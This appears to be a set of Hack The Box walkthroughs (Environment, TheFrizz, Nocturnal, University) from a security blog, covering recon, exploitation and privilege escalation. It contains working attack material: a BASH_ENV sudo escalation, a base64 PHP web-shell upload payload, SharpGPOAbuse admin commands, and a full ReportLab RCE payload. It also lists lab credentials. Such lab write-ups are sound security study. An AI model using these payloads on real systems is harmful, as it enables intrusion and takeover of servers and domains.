The password “marineSPm@ster!!” appears to belong to the Environment.htb account, as the other passwords correspond to PayPal and Facebook.

We can connect using SSH.

Privilege Escalation with systeminfo

The sudo -l Output for user “hish” on the “environment” host shows they can run /usr/bin/systeminfo with sudo privileges as any user. The default settings include env_reset, mail_badpass, a secure_path, and preservation of ENV and BASH_ENV variables via env_keep. This preservation of ENV and BASH_ENV creates a potential security vulnerability, as these variables can be manipulated to execute arbitrary commands, allowing “hish” to bypass restrictions and escalate privileges when running the allowed command.

User “hish” on the “environment” host runs commands to create a script named dark.sh containing bash -p, which spawns a privileged bash shell. First, echo 'bash -p' > dark.sh write the bash -p command into dark.sh. Then, chmod +x dark.sh grants execute permissions to the script. These steps prepare a malicious script for a potential privilege escalation exploit, likely to be used with a preserved environment variable, like BASH_ENV in a subsequent command, to bypass sudo restrictions and gain elevated privileges.

User “hish” on the “environment” host runs sudo BASH_ENV=./dark.sh /usr/bin/systeminfo to exploit the preserved BASH_ENV environment variable, as revealed by sudo -l. By setting BASH_ENV to point to the previously created dark.sh script (containing bash -p), the command triggers the execution of dark.sh when systeminfo runs with sudo privileges. Since bash -p spawns a privileged bash shell, this allows “hish” to gain elevated privileges, bypassing the restricted sudo permissions that only allow running /usr/bin/systeminfo, effectively achieving privilege escalation.

We can read the user flag with the command cat user.txt.

The post Hack The Box: Environment Machine Walkthough-Medium Difficulty appeared first on Threatninja.net.

Introduction to TheFrizz:

In this write-up, we will explore the “TheFrizz” machine from Hack The Box, categorised as a medium difficulty challenge. This walkthrough will cover the reconnaissance, exploitation, and privilege escalation steps required to capture the flag.

Objective on TheFrizz machine:

The goal of this walkthrough is to complete the “TheFrizz” machine from Hack The Box by achieving the following objectives:

User Flag:

We began by exploiting a file upload vulnerability to gain a web shell on the target. From there, we located the config.php file, which contained database credentials. Using these, we accessed the database locally through mysql.exe, extracted a user hash, and successfully cracked it to obtain the password Jenni_Luvs_Magic23. With these credentials, we logged into the web application and discovered a message detailing an upcoming SSH migration, hinting at Kerberos-based authentication. We generated a Kerberos ticket (f.frizzle.ccache), leveraged it to gain SSH access to the system, and ultimately retrieved the user flag by executing type user.txt.

Root Flag:

After escalating privileges using M.SchoolBus and exploiting the SleepGPO via SharpGPOAbuse, we forced the Group Policy to update with gpupdate.exe /force. We then used secretdump to gather credentials and leveraged wmiexec to gain a root-level shell. From there, we accessed and read the root flag using the command type root.txt.

Enumerating the TheFrizz Machine

Reconnaissance:

Nmap Scan:

Begin with a network scan to identify open ports and running services on the target machine.

nmap -sC -sV -oA initial 10.10.11.60

nmap -sC -sV -oA initial 10.10.11.60

Nmap Output:

┌─[dark@parrot]─[~/Documents/htb/thefrizz]
└──╼ $nmap -sC -sV -oA initial 10.10.11.60 
# Nmap 7.94SVN scan initiated Thu Aug 21 20:57:38 2025 as: nmap -sC -sV -oA initial 10.10.11.60
Nmap scan report for 10.10.11.60
Host is up (0.16s latency).
Not shown: 990 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
22/tcp   open  ssh           OpenSSH for_Windows_9.5 (protocol 2.0)
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Apache httpd 2.4.58 (OpenSSL/3.1.3 PHP/8.2.12)
|_http-server-header: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
|_http-title: Did not follow redirect to http://frizzdc.frizz.htb/home/
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: frizz.htb0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: frizz.htb0., Site: Default-First-Site-Name)

┌─[dark@parrot]─[~/Documents/htb/thefrizz]
└──╼ $nmap -sC -sV -oA initial 10.10.11.60 
# Nmap 7.94SVN scan initiated Thu Aug 21 20:57:38 2025 as: nmap -sC -sV -oA initial 10.10.11.60
Nmap scan report for 10.10.11.60
Host is up (0.16s latency).
Not shown: 990 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
22/tcp   open  ssh           OpenSSH for_Windows_9.5 (protocol 2.0)
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Apache httpd 2.4.58 (OpenSSL/3.1.3 PHP/8.2.12)
|_http-server-header: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
|_http-title: Did not follow redirect to http://frizzdc.frizz.htb/home/
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: frizz.htb0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: frizz.htb0., Site: Default-First-Site-Name)

Analysis:

• Port 22 (SSH): OpenSSH for_Windows_9.5 (protocol 2.0) for secure remote access
• Port 53 (DNS): Simple DNS Plus
• Port 80 (HTTP): Apache httpd 2.4.58 (OpenSSL/3.1.3 PHP/8.2.12) web server, redirects to http://frizzdc.frizz.htb/home/
• Port 135 (MSRPC): Microsoft Windows RPC
• Port 139 (NetBIOS-SSN): Microsoft Windows NetBIOS session service
• Port 389 (LDAP): Microsoft Windows Active Directory LDAP (Domain: frizz.htb0., Site: Default-First-Site-Name)
• Port 445 (Microsoft-DS): Windows file sharing and Active Directory services
• Port 464 (kpasswd5): Kerberos password change service
• Port 593 (NCACN_HTTP): Microsoft Windows RPC over HTTP 1.0
• Port 3268 (LDAP): Microsoft Windows Active Directory LDAP (Domain: frizz.htb0., Site: Default-First-Site-Name)

Web Application Exploration on TheFrizz Machine:

This page offers no useful content; the only option available is a Staff Login link located in the upper right corner.

Clicking on the Staff Login redirects to a login page, but we currently do not have valid credentials to proceed with testing.

While examining the framework, I identified it as Gibbon v25.0.00 and found the following three relevant links through online research.

CVE-2023-34598: Local File Inclusion Vulnerability in Gibbon v25.0.0

Gibbon v25.0.0 is susceptible to a Local File Inclusion (LFI) vulnerability, allowing attackers to include and expose the contents of various files within the installation directory in the server’s response. This flaw, identified as CVE-2023-34598, poses a significant risk by potentially revealing sensitive information stored in the affected files.

The proof-of-concept (PoC) for this can be found on GitHub here

However, this LFI is limited to reading non-PHP files, indicating certain restrictions. As shown in the screenshot, we attempted to read gibbon.sql. It appears to be included by default and contains nothing of interest.

Let’s proceed to test this directly on the website.

The page returns blank, which indicates a positive outcome.

Exploiting Web Vulnerabilities: Gaining a Reverse Shell with Burp Suite

It appears promising when viewed in Burp Suite.

We successfully uploaded dark.php to the website using the payload:

img=image/png;dark,PD9waHAgZWNobyBzeXN0ZW0oJF9HRVRbJ2NtZCddKT8%2b&path=dark.php&gibbonPersonID=0000000001

img=image/png;dark,PD9waHAgZWNobyBzeXN0ZW0oJF9HRVRbJ2NtZCddKT8%2b&path=dark.php&gibbonPersonID=0000000001

Although any file type could be used, we tested specifically with dark.php.

We encountered an error upon execution.

The error displayed in the browser was similar to the one shown above.

We proceeded to test for command execution using the uploaded web shell by sending a request to dark.php with the parameter cmd=whoami (e.g., GET /path/to/dark.php?cmd=whoami or via curl http://target/dark.php?cmd=whoami). If successful, the response should display the current web user. If no output or an error is returned, we will try URL-encoding the command, using alternatives like id or uname -a, and verifying that cmd is the correct parameter used in the PHP payload.

We attempted to run a basic Windows reverse shell through the uploaded web shell, but it failed to execute and did not establish a connection.

Switching to a different reverse shell command/payload produced no response, but this outcome is still useful to note.

We successfully obtained a reverse shell connection back to our system.v

Burp Suite shows the connection assigned to the user w.webservice.

Two privileges are enabled, and one is disabled.

After gaining the shell, review the Gibbon configuration file and confirm that the current working directory is within the root of the entire site.

Database Credentials Extraction

In config.php, we found database credentials indicating an account connected to the database:

$databaseServer = 'localhost';
$databaseUsername = 'MrGibbonsDB';
$databasePassword = 'MisterGibbs!Parrot!?1';
$databaseName = 'gibbon';

$databaseServer = 'localhost';
$databaseUsername = 'MrGibbonsDB';
$databasePassword = 'MisterGibbs!Parrot!?1';
$databaseName = 'gibbon';

To avoid using port forwarding, we searched the machine for mysql.exe to interact with the database locally.

MySQL Database Enumeration on TheFrizz Machine

After some searching, we located mysql.exe on the machine.

Executing the SQL command above produced no output or effect.

Therefore, we modified the command to include SHOW DATABASES; to verify accessible databases.

We executed:

.\mysql.exe -u MrGibbonsDB -pMisterGibbs!Parrot!?1 --database=gibbon -e "SHOW TABLES;"

.\mysql.exe -u MrGibbonsDB -pMisterGibbs!Parrot!?1 --database=gibbon -e "SHOW TABLES;"

The output listed several tables, including gibbonperson.

I then focused on the retrieved hash and attempted to crack it for possible credentials.

The extracted hashes, shown above, were used for the cracking attempt.

The cracking attempt failed due to Hashcat’s “separator unmatched” error, indicating an unrecognized hash format.

The hash format likely needs to follow the example shown earlier, ensuring it matches the expected structure for Hashcat to process correctly.

Cracking the hash revealed the password Jenni_Luvs_Magic23.

Staff login enumeration

Since the web shell didn’t reveal anything useful, we proceeded to log in to the web application using the cracked credentials and began reviewing its contents.

The red option in the upper right corner caught my attention, and after clicking it, the Message Wall section appeared.

One of the messages stated: Reminder that TODAY is the migration date for our server access methods. Most workflows using PowerShell will not notice a difference (Enter-PSSession). If you encounter any issues, contact Fiona or Marvin between 8am and 4pm to have the pre-requisite SSH client installed on your Mac or Windows laptop.

Bloodhound enumeration on TheFrizz Machine

To analyse the environment with BloodHound, we used the command mentioned above.

The user F.frizzle belongs to Remote Management Users, Domain Users, and the Users group.

The user M.schoolbuss is a member of Desktop Admins and Group Policy Creator Owners.

The error “Clock skew too great” indicates the password is valid, but the local system clock is out of sync, likely running behind the server’s time.

Even after synchronising the time using ntpdate, the issue persisted, and the connection still failed.

Using the date command to manually adjust the time resulted in the same “Clock skew too great” error.

Using faketime bypassed the clock skew issue, but the process now appears to be stuck when attempting to establish a session with evil-winrm.

[libdefaults]
    default_realm = FRIZZ.HTB
    dns_lookup_realm = true
    dns_lookup_kdc = true

[realms]
    FRIZZ.HTB = {
        kdc = frizzdc.frizz.htb
        admin_server = frizzdc.frizz.htb
    }

[domain_realm]
    .frizz.htb = FRIZZ.HTB
    frizz.htb = FRIZZ.HTB

[libdefaults]
    default_realm = FRIZZ.HTB
    dns_lookup_realm = true
    dns_lookup_kdc = true

[realms]
    FRIZZ.HTB = {
        kdc = frizzdc.frizz.htb
        admin_server = frizzdc.frizz.htb
    }

[domain_realm]
    .frizz.htb = FRIZZ.HTB
    frizz.htb = FRIZZ.HTB

Updating the /etc/krb5.conf file also failed to resolve the issue, and the connection remains unsuccessful.

We successfully generated an f.frizzle.ccache Kerberos ticket.

SSH access to the target system was successfully obtained.

We obtained the user flag by executing the command type user.txt.

Escalate to Root Privileges Access

Privileges Access

An alternative faketime command also worked successfully, as demonstrated earlier.

While exploring the machine, we discovered a ChildItem within the Recycle.Bin folder.

We found two .7z archive files in the Recycle.Bin folder for further analysis.

Move the .7z files to the ProgramData directory to simplify access and analysis.

We were able to transfer files using the nc.cat command, as demonstrated earlier.

The file transfer eventually completes, though it may take a long time—around 2 hours in my case, though the duration may vary for others.

The wapt directory contains numerous files and folders.

I noticed a password that has been encoded using Base64.

As a result, I successfully uncovered a password: !suBcig@MehTed!R.

We can identify the potential user accounts as shown above.

We consolidated all the potential user accounts and credentials into a single file for easier reference.

Many users experienced KDC_ERR_PREAUTH_FAILED errors, but one user (frizz.htb\M.SchoolBus) with password !suBcig@MehTed!R—returned a KRB_AP_ERR_SKEW error.

As before, we executed the same command, but this time replaced F.Frizzle with M.SchoolBus.

Group Policy Exploitation

We created a new Group Policy Object and linked it with the command:

New-GPO -Name SleepGPO -Comment "Sleep is good" | New-GPLink -Target "DC=FRIZZ,DC=HTB" -LinkEnabled Yes

New-GPO -Name SleepGPO -Comment "Sleep is good" | New-GPLink -Target "DC=FRIZZ,DC=HTB" -LinkEnabled Yes

The command creates a new Group Policy Object (GPO) named SleepGPO with a note saying “Sleep is good”. A GPO is basically a set of rules or settings that can be applied to computers or users in a network. The command then links this GPO to the main network domain FRIZZ.HTB, making it active and enforcing the rules or settings defined in it.

We uploaded SharpGPOAbuse onto the victim’s machine to prepare for further Group Policy exploitation.

We used SharpGPOAbuse to elevate privileges by modifying the previously created GPO. The command

.\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount M.SchoolBus --GPOName "SleepGPO"

.\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount M.SchoolBus --GPOName "SleepGPO"

adds the user M.SchoolBus as a local administrator on targeted machines by leveraging the SleepGPO. Essentially, this allows M.SchoolBus to gain administrative rights across the network through the Group Policy.

The command gpupdate.exe /force is used to immediately apply updated Group Policy settings, ensuring that changes made by tools like SharpGPOAbuse take effect on target machines without waiting for the default refresh interval (typically 90 minutes). This forces a refresh of both user and computer policies, applying any new or modified Group Policy Objects (GPOs) instantly.

The command secretdump was executed to extract credential information from the target system, enabling further enumeration and exploitation.

We leveraged wmiexec to execute commands remotely and gain a root-level shell on the target system.

We obtained the root flag by accessing the root shell and executing type root.txt.

The post Hack The Box: TheFrizz Machine Walkthrough – Medium Difficulity appeared first on Threatninja.net.

Introduction to Nocturnal:

In this write-up, we will explore the “Nocturnal” machine from Hack The Box, categorised as an easy difficulty challenge. This walkthrough will cover the reconnaissance, exploitation, and privilege escalation steps required to capture the flag.

Objective:

The goal of this walkthrough is to complete the “Nocturnal” machine from Hack The Box by achieving the following objectives:

User Flag:

To grab the user flag on Nocturnal, we started by exploring the file upload functionality after creating an account. Uploading a .odt file and unpacking it revealed a hidden password inside content.xml using xmllint. Initial attempts to SSH or use pwncat-cs failed, but the password worked on the web dashboard, letting us upload files as Amanda. Leveraging the backup feature, we injected a reverse shell, landing a www-data shell. From there, we navigated the nocturnal_database directory, pulled password hashes, cracked Tobias’s password (slowmotionapocalypse), and captured the user flag

Root Flag:

For the root flag, basic enumeration showed no exploitable binaries, but port 8080 was listening. After port forwarding, we accessed the ISPConfig panel. Tobias’s credentials didn’t work, but the admin password gave us full access. Identifying the ISPConfig version from the source and Help section, we grabbed a public exploit, executed it, and gained root shell access. Finally, the root flag was obtained

Enumerating the Nocturnal Machine

Reconnaissance:

Nmap Scan:

Begin with a network scan to identify open ports and running services on the target machine.

nmap -sC -sV -oA initial 10.10.11.64

nmap -sC -sV -oA initial 10.10.11.64

Nmap Output:

┌─[dark@parrot]─[~/Documents/htb/nocturnal]
└──╼ $nmap -sC -sV -oA initial 10.10.11.64
# Nmap 7.94SVN scan initiated Sat Aug  9 04:55:52 2025 as: nmap -sC -sV -oA initial 10.10.11.64
Nmap scan report for 10.10.11.64
Host is up (0.22s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 20:26:88:70:08:51:ee:de:3a:a6:20:41:87:96:25:17 (RSA)
|   256 4f:80:05:33:a6:d4:22:64:e9:ed:14:e3:12:bc:96:f1 (ECDSA)
|_  256 d9:88:1f:68:43:8e:d4:2a:52:fc:f0:66:d4:b9:ee:6b (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://nocturnal.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Aug  9 04:56:46 2025 -- 1 IP address (1 host up) scanned in 54.95 seconds

┌─[dark@parrot]─[~/Documents/htb/nocturnal]
└──╼ $nmap -sC -sV -oA initial 10.10.11.64
# Nmap 7.94SVN scan initiated Sat Aug  9 04:55:52 2025 as: nmap -sC -sV -oA initial 10.10.11.64
Nmap scan report for 10.10.11.64
Host is up (0.22s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 20:26:88:70:08:51:ee:de:3a:a6:20:41:87:96:25:17 (RSA)
|   256 4f:80:05:33:a6:d4:22:64:e9:ed:14:e3:12:bc:96:f1 (ECDSA)
|_  256 d9:88:1f:68:43:8e:d4:2a:52:fc:f0:66:d4:b9:ee:6b (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://nocturnal.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Aug  9 04:56:46 2025 -- 1 IP address (1 host up) scanned in 54.95 seconds

Analysis:

• Port 22 (SSH): OpenSSH 8.2p1 running on Ubuntu, providing secure shell access for remote login. The server exposes RSA, ECDSA, and ED25519 host keys.
• Port 80 (HTTP): Nginx 1.18.0 serving the web application on Ubuntu. The HTTP title did not follow the redirect to http://nocturnal.htb/, indicating the presence of a web interface.
  

Web Enumeration:

Web Application Exploration:

The website interface appears as shown above.

Tried logging in with the credentials admin:admin, but it failed.

Here’s a smoother version:

Sadly, the credentials are invalid.

Attempted to register a new account using dark:dark, but received a “failed to register user” error.

However, account creation succeeded with test:test, which was unusual. Further troubleshooting revealed that both the username and password must contain more than six characters in total.

We were redirected to a file upload page.

Before proceeding, let’s attempt to upload a simple text file.

The upload failed because only certain file formats are allowed.

Therefore, let’s try uploading a random PDF file to the application.

In Burp Suite, it appears as shown above.

We successfully uploaded the PDF file, as shown in the screenshot above. Clicking on the uploaded file opens a PDF editor.

As shown above, the response is displayed when attempting to access the uploaded file.

Tried accessing with the admin user, but it returned a “File does not exist” error.

Capture the packet request using Burp Suite

This FFUF command uses a saved HTTP request (req.req) to fuzz inputs from names.txt over HTTP, ignoring responses with a body size of 2985 bytes.

The fuzzing results revealed three valid usernames: admin, tobias, and amanda.

The URL http://nocturnal.htb/view.php?username=amanda&file=small.odt shows that file access is controlled through query parameters, which may expose the application to IDOR vulnerabilities if manipulated.

I presume it is just a normal PDF file content.

Let’s download the file to our machine for further analysis.

The file is formatted as an OpenDocument Text.

Opening the .odt file for further examination.

Surprisingly, the file does not open in OpenOffice but instead opens with a ZIP application.

As a result, let’s extract the file on our machine.

What is xmllint?

xmllint is a tool used to open and read XML files, which are special text files that store structured information. These files can be difficult to read normally, but xmllint makes them easier to understand by organising the text. In this case, it allowed us to look inside the file and discover hidden information, such as a password.

Using the xmllint command, we can read the file as shown above.

In the content.xml file, we can use xmllint to read the contents and identify the password (arHkG7HAI68X8s1J).

Attempted to connect to the machine via SSH using the credentials, but the login failed.

Earlier attempts using pwncat-cs and SSH both failed to establish access.

As a result, we proceeded to test it through the dashboard.

Unexpectedly, the attempt was successful, allowing us to upload files as the Amanda user.

There is an Admin Panel button located at the top of the interface.

No interesting files were found upon clicking the Admin Panel link.

There is a field that requires entering a password to access the backup.

Creating a password grants access to a collection of files for review.

We can download the file.

In Burp Suite, it appears as shown above.

Entered Amanda’s password, but the system returned an “incorrect password” message.

However, we successfully unzipped the file using the password we created earlier.

Looking inside the backup directory, nothing of interest was found.

After further consideration, we attempted to enter a reverse shell payload into the password field.

Finally, we successfully obtained a www-data shell.

Nothing was missing from the file we downloaded.

There is a nocturnal_database directory present.

Let’s proceed to access the database.

We retrieved password hashes from the database.

One of the hashes was successfully cracked, revealing the password slowmotionapocalypse.

It was determined that the hashes belong to the user tobias.

We obtained the user flag by running the command cat user.txt.

Escalate to Root Privileges Access

Privilege Escalation:

There are no usable binaries available in this environment.

While checking the open ports with netstat -an, we discovered that port 8080 is open on the machine.

Setting up port forwarding for the previously identified port.

The service running on the forwarded port is ISPConfig.

Understanding ISPConfig: The Web Hosting Control Panel

ISPConfig is a web-based control panel used to manage websites, email accounts, and servers. It allows administrators to easily configure and control these services through a user-friendly interface, without needing to use complex commands. Think of it as a central dashboard for managing web hosting services.

Attempted to use Tobias’s password, but the login failed.

The admin password was successful.

Accessed the ISPConfig dashboard successfully.

The ISPConfig version was identified from the source code.

Alternatively, the version was also found in the Help section.

Let’s investigate the ISPConfig version 3.2.10p1 vulnerability that corresponds to CVE-2023-46818.

CVE-2023-46818: PHP Code Injection Vulnerability in ISPConfig 3.2.10p1

CVE-2023-46818 is a high-severity PHP code injection vulnerability affecting ISPConfig versions before 3.2.11p1. It occurs when the admin_allow_langedit setting is enabled, allowing authenticated administrators to inject and execute arbitrary PHP code via the language file editor. The flaw stems from improper sanitisation of user input in the records POST parameter of /admin/language_edit.php.

The vulnerability has a CVSS 3.1 base score of 7.2 (High), posing a significant risk. Successful exploitation can lead to full server compromise, enabling attackers to steal sensitive data, install malware, or disrupt services.

To mitigate this issue, it is recommended to upgrade to ISPConfig version 3.2.11p1 or later. Alternatively, disabling the language editor by setting admin_allow_langedit=no in /usr/local/ispconfig/security/security_settings.ini can prevent exploitation.v

Downloaded the exploit to our machine and executed it.

We obtained the root flag by running the command cat root.txt.

The post Hack The Box: Nocturnal Machine Walkthrough – Easy Difficulty appeared first on Threatninja.net.

Introduction to University:

The “University” machine on Hack The Box is an insanely difficult Windows Active Directory (AD) challenge that simulates a complex enterprise network. It involves exploiting a web application vulnerability, forging certificates, pivoting through internal networks, and abusing AD privileges to achieve domain compromise. This walkthrough provides a detailed guide to capturing both user and root flags, inspired by comprehensive write-ups like ManeSec’s, with step-by-step commands, full outputs, and troubleshooting tips for all skill levels.

Objectives

• User Flag: Exploit a ReportLab RCE vulnerability (CVE-2023-33733) in university.htb to gain access as wao, forge a professor certificate to authenticate as george, and upload a malicious lecture to compromise Martin.T.
  
• Root Flag: Exploit a scheduled task to execute a malicious .url file, escalate privileges on WS-3 using LocalPotato (CVE-2023-21746), and abuse SeBackupPrivilege to extract NTDS.dit, obtaining the domain administrator’s hash.
  

Reconnaissance

Reconnaissance identifies services and attack vectors in the AD environment.

Initial Network Scanning

Scan all ports to map services.

Command:

nmap -sC -sV 10.10.11.39 -oA initial

nmap -sC -sV 10.10.11.39 -oA initial

Output:

# Nmap 7.94SVN scan initiated Sat May  3 21:19:17 2025 as: nmap -sC -sV -oA initial 10.10.11.39
Nmap scan report for 10.10.11.39
Host is up (0.020s latency).
Not shown: 987 closed tcp ports (conn-refused)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          nginx 1.24.0
|_http-server-header: nginx/1.24.0
|_http-title: Did not follow redirect to http://university.htb/
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-05-04 07:59:13Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: university.htb0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
2179/tcp open  vmrdp?
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: university.htb0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2025-05-04T07:59:34
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
|_clock-skew: 6h39m48s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat May  3 21:19:55 2025 -- 1 IP address (1 host up) scanned in 38.67 seconds

# Nmap 7.94SVN scan initiated Sat May  3 21:19:17 2025 as: nmap -sC -sV -oA initial 10.10.11.39
Nmap scan report for 10.10.11.39
Host is up (0.020s latency).
Not shown: 987 closed tcp ports (conn-refused)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          nginx 1.24.0
|_http-server-header: nginx/1.24.0
|_http-title: Did not follow redirect to http://university.htb/
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-05-04 07:59:13Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: university.htb0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
2179/tcp open  vmrdp?
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: university.htb0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2025-05-04T07:59:34
|_  start_date: N/A
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
|_clock-skew: 6h39m48s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat May  3 21:19:55 2025 -- 1 IP address (1 host up) scanned in 38.67 seconds

Analysis:

• Port 80: Runs Nginx 1.24.0, likely hosting the main web service and primary attack vector.
• Ports 88, 389, 445, 464, 3268: Indicate this is a domain controller for the domain university.htb, with Kerberos, LDAP, SMB, and password services active.
• Port 53: DNS service associated with Active Directory.
• Port 5985: (Not listed in the scan but commonly present) Typically used for WinRM, enabling remote Windows management.

Web Exploitation

ReportLab RCE (CVE-2023-33733)

Exploit ReportLab’s RCE vulnerability in /profile’s PDF export to gain a wao shell.

When I accessed the web server, I saw a minimalistic and straightforward interface.

Navigating to the login page redirected us to an authentication portal. At this stage, no valid credentials were available, so progress could not continuer

Consequently, a new ‘Student’ account was created to further enumerate the application, given that this role appeared to be publicly accessible.

Random placeholder information filled the registration fields, as illustrated in the example above

We enter the credentials we created earlier.

Once the user logs in successfully, the system displays a dashboard similar to the screenshot above.

The section labelled ‘Profile Export’ appeared promising for exploring potential functionality or vulnerabilities

The PDF report uses a clear and concise format, modeled after the examples provided above

Exploiting CVE-2023-33733: Remote Code Execution via ReportLab in university.htb

While analysing the PDF file, I identified it as a ReportLab-generated document, similar to those encountered during the Solarlab machine engagement

During the SolarLab machine exercise, the exploitation process resembled the steps outlined below

<para>
              <font color="[ [ getattr(pow,Word('__globals__'))['os'].system('<command>') for Word in [orgTypeFun('Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: False, '__eq__': lambda self,x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: {setattr(self, 'mutated', self.mutated - 1)}, '__hash__': lambda self: hash(str(self)) })] ] for orgTypeFun in [type(type(1))] ] and 'red'">
                exploit
                </font>
            </para>

<para>
              <font color="[ [ getattr(pow,Word('__globals__'))['os'].system('<command>') for Word in [orgTypeFun('Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: False, '__eq__': lambda self,x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: {setattr(self, 'mutated', self.mutated - 1)}, '__hash__': lambda self: hash(str(self)) })] ] for orgTypeFun in [type(type(1))] ] and 'red'">
                exploit
                </font>
            </para>

Therefore, the team retested the exploit on the current machine to confirm its applicability.

Let’s start our Python server listener

The exploitation method follows the general approach illustrated below

The profile was updated successfully.

A lack of response from the target indicated a failure

It may be necessary to trigger the action by clicking the “Profile Export” button

As expected, triggering the action returned a response.

Refined and updated the payload to achieve the intended outcome.

We received a response, but the file was missing

Let’s start the listener.

We executed a Python3 reverse shell script to establish a callback connection.

Unfortunately, I received no response from the target

I also conducted a test using a Base64-encoded PowerShell command.

Once again, there was no response from the target

Troubleshooting and Resolution Steps on University machine

The team adjusted the command and subsequently tested its effectiveness.

The callback succeeded this time, returning the shell.py file from the server.

The result exceeded expectations.

Access was successfully obtained for user ‘wao’.

BloodHound enumeration

Since we are using a Windows machine, let’s proceed to analyse BloodHound.

There is a significant amount of information here.

WAO belongs to the Domain Users group, so it inherits the default permissions and access rights assigned to all standard users within the domain.

By examining the browse.w connection, we were able to gather a substantial amount of information.

Enumerate the machine as WAO access on the University machine

The only potentially valuable finding at this stage was db.sqlite3, which may contain database information.

In the CA directory, we found three important files: rootCA.crt, which is the root certificate; rootCA.key, the private key associated with the root certificate; and rootCA.srl, a file that tracks the serial numbers of issued certificates. These files are essential components for managing and validating the certificate authority’s trust chain.

Running the command icacls db.sqlite3 displays the access control list (ACL) for the file, showing the users and groups with permissions and the specific rights they hold. This information helps determine who can read, write, or execute the file, providing insight into the security and access restrictions applied to db.sqlite3.

SQLite database enumeration on university machine

Download the db.sqlite3 file to our local machine.

The screenshot above displays the available tables in the database.

Therefore, these hashes can be cracked at a later stage to uncover additional credentials.

Reviewing the Database Backups

We checked the DB-Backup directory and found a PowerShell script (.ps1 file) that might contain useful information.

Although the script doesn’t specify a username, it instead runs under the Windows account executing it, and therefore file and application access depend on that account’s permissions. For example, if the user cannot write to C:\Web\DB Backups\ or read db.sqlite3, then the backup will fail. Likewise, running external programs such as 7z.exe also requires the appropriate permissions.

After gaining access, I ran whoami /all and confirmed that the current user is wao. This matched the password I had earlier (WAO), which strongly indicates it belongs to this user. Although it’s not best practice, it’s common in misconfigured environments for usernames and passwords to be the same or closely related, which made the guess successful.

The term “Internal-VSwitch1” typically refers to a virtual switch created within a virtualization platform like Microsoft Hyper-V.

An “Internal” virtual switch in Hyper-V does not have an IP address itself; rather, the host’s virtual network adapter connected to that internal switch will have an IP address.

